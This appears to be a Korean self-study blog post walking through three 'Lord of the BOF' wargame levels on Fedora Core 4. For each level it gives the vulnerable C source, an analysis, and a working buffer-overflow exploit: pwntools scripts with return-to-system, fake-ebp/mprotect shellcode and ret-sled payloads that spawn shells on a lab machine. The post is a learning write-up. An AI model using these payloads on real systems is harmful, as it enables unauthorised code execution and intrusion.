Fedora Core 4 - Challenge

ALL CLEAR!

 

 

 

 


Fedora Core 4 - Challenge [enigma -> titan


[Summary]

1. main 함수에 존재하는 fgets 함수 실행 전의 add esp, ?의 어셈블리어를 이용하여 esp 레지스터 값을 증가시킬 수 있다.   

2. fgets 함수를 시작하기 전에 돌아갈 주소를 스택에 저장하는데, fgets 함수에서 이 주소를 다른 값으로 원하는 값으로 변조할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF
	- titan
	- Remote BOF on Fedora Core 4
	- hint : ? 
	- port : TCP 8888
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static char buffer[40];
static void (*ftn)();

void print()
{
	printf("nothing here\n");
	fflush(stdout);
}

int main()
{
	char buf[48];
	ftn = print;

	printf("titan : What a tragic mistake.\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(buf,48,stdin);

	// buffer overflow!!
	strcpy(buffer,buf);

	// preventing RTL
	if(((int)ftn & 0xff000000) == 0)
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing buffer
	memset(buffer, 0, 40);

	ftn();
}


[Analysis] 

main 함수에서 fgets 함수를 call하는 어셈블리어보다 먼저 있는 어셈블리어 중 add esp, ? 명령을 반복하여 실행하여 esp 레지스터의 주소를 증가시킬 수 있다. fgets 함수가 stdin으로 입력된 값을 [ebp-52]의 주소에 48바이트 만큼 복사하는데 지속하여 esp 레지스터 주소를 증가시킨다면, 언제가는 [ebp-52]에서 48 바이트만큼의 범위 안에 fgets 함수를 실행하기 전에 다시 돌아갈 주소를 저장해 둔 영역이 포함된다. 따라서 eip 레지스터를 변조할 수 있게 되고 system 함수를 실행하여 임의 명령을 실행할 수 있게 된다.


[Exploit]

import time
from pwn import *

context(arch='x86', os='linux', endian='little')

p = remote("192.168.0.131", 8888)

gadget = 0x08048529
system = 0x7db0e7
binsh = 0x8bd987

# stage 1

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 2

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 3

payload = "A" * 8
payload += p32(system)
payload += "A" * 4
payload += p32(binsh)
payload += "A" * 20
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)

p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 4 - Challenge [cruel -> enigma


[Summary]

1. fedora core 4 부터는 stdin의 주소가 랜덤으로 변경 된다. 하지만 gdb를 통해 몇 번 실행시켜보면 0xb7f3f000, 0xb7fe6000, 0xb7fe7000와 같이 특정 오프셋의 문자열만 변경되는 것을 확인할 수 있다. 

2. fake ebp를 이용하여 stdin buffer의 주소로 esp 레지스터를 변경하여 pop ebp, pop eip, jmp eip를 실행하여 null이 포함되어 있는 라이브러리를 실행할 수 있다. 이후에 mprotect 함수를 실행하여 stdin buffer의 값에 실행 권한을 주고 해당 주소로 jmp 하여 쉘코드를 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
        - port : TCP 7777
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
	char buffer[256];
	int *ret;
        
	// stack overflow!!
	strcpy(buffer,ptr); 

	// overflow protected
	if(canary != 0x31337)
	{
		printf("who broke my canary?!");
		exit(1);
	}

	// preventing RTL
	ret = &canary - 1;
	if((*ret & 0xff000000) == 0) 
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing attack buffer
	memset(ptr, 0, 1024);

	return 0;
}

int main()
{
	char buffer[1024];

	printf("enigma : The brothers will be glad to have you!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food!
	fgets(buffer, 1024, stdin);

	// oops~!
	vuln(0x31337, buffer);
	
	// bye bye
	exit(0);
}


[Analysis] 

해당 문제에서는 canary가 나온다. canary가 ret 뒷 부분에 위치하고 값 또한 0x31337 이므로, null이 포함되어 있어 20행의 strcpy 함수를 실행하면 canary 부분까지만 복사하게 되므로 payload가 canary에서 짤리게 된다. 하지만 fgets 같은 함수는 stdin buffer에 null을 포함한 payload가 모두 남아 있는데 이를 이용하면 된다.

leave 명령을 다시 한번 더 실행하여 esp 레지스터를 변조할 수 있고, 이어 ebp에 특정 값을 넣을 수 있다. 또한 ret를 실행함으로써 esp 레지스터 주소에 있는 값으로 이동할 수 있다. 따라서 fake ebp 기법을 이용하여 stdin에 특정 메모리 영역에 있는 값을 실행할 수 있다. 이어 mprotect를 실행하여 메모리 특정 영역에 실행권한을 주고 해당 영역으로 jmp를 수행하면 쉘코드를 실행할 수 있다.

이 문제에서 변수는 stdin buffer의 주소가 유동적이라는 건데 0x00~0xff 범위이므로 브루트 포싱을 사용하여 문제를 해결할 수 있다.


[Exploit]

import time
from pwn import *

cnt = 0

while True:
	cnt += 1
	log.info("count : %d" % cnt)
	context(arch='i386',os='linux')

	p = remote("192.168.0.131", 7777)

	shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
	
	canary = 0x31337
	leave_ret = 0x0804858e
	stdin = 0xb7f5e000
	mprotect = 0x86d240

	payload = "\x90" * (260 - len(shellcode)) + shellcode
	payload += p32(stdin + 268)
	payload += p32(leave_ret)
	payload += p32(canary) 
	payload += p32(mprotect)
	payload += p32(stdin)
	payload += p32(stdin)
	payload += p32(1024)
	payload += p32(7)

	if __name__ == '__main__':
		p.sendline(payload)
		time.sleep(0.1)
		p.sendline('id')
		time.sleep(0.1)
		if "uid=" in p.recv(1024):
			log.info("Success!!")
			p.interactive()
		else:
			p.close()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 4 - Challenge [dark_stone -> cruel


[Summary]

1. ret sled를 이용하여 스택에 존재하는 바뀌지 않는 값을 인자로 이용한다.  쉘을 실행하는 역할의 스택에 존재하는 값의 파일명을 생성하여 해당 파일을 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- cruel
	- Local BOF on Fedora Core 4
	- hint : no more fake ebp, RET sleding on random library
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[Analysis] 

main 함수의 ret 명령인 main+109에 break point를 걸고 프로그램을 실행시킨 후 스택을 살펴보았다. RET에 main+109 주소를 넣고 ret sled를 이용하여 stack을 쭉 타고 미끄러질 수 있는데 인자로 적합한 값이 나오면 ret sled를 멈추고 execl을 실행하면 된다. 스택을 살펴보면 0x008caff4의 주소가 인자로 적합해 보이는데 이를 인자로 넣고 실행하기 위해서는 ret sled를 이용하여 execl 함수 주소를 현재 RET 주소보다 28 바이트 뒤로 이동해야 한다. 28 바이트 뒤에 execl 함수의 주소를 입력하고, 심볼릭 링크를 이용하여 파일명을 \x3c\xad\x8c로 생성하면 execl이 해당 파일을 실행하므로 결론적으로 쉘을 획득할 수 있다.


[Exploit]

import os
from struct import * 

p = lambda x : pack("<L", x)

ret = 0x08048451
execl = 0x832d68

payload = 'A'*260 		# dummy
payload += p(ret) * 7	# ret sleding
payload += p(execl) 	# execl

target = 'cruel'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

+ Recent posts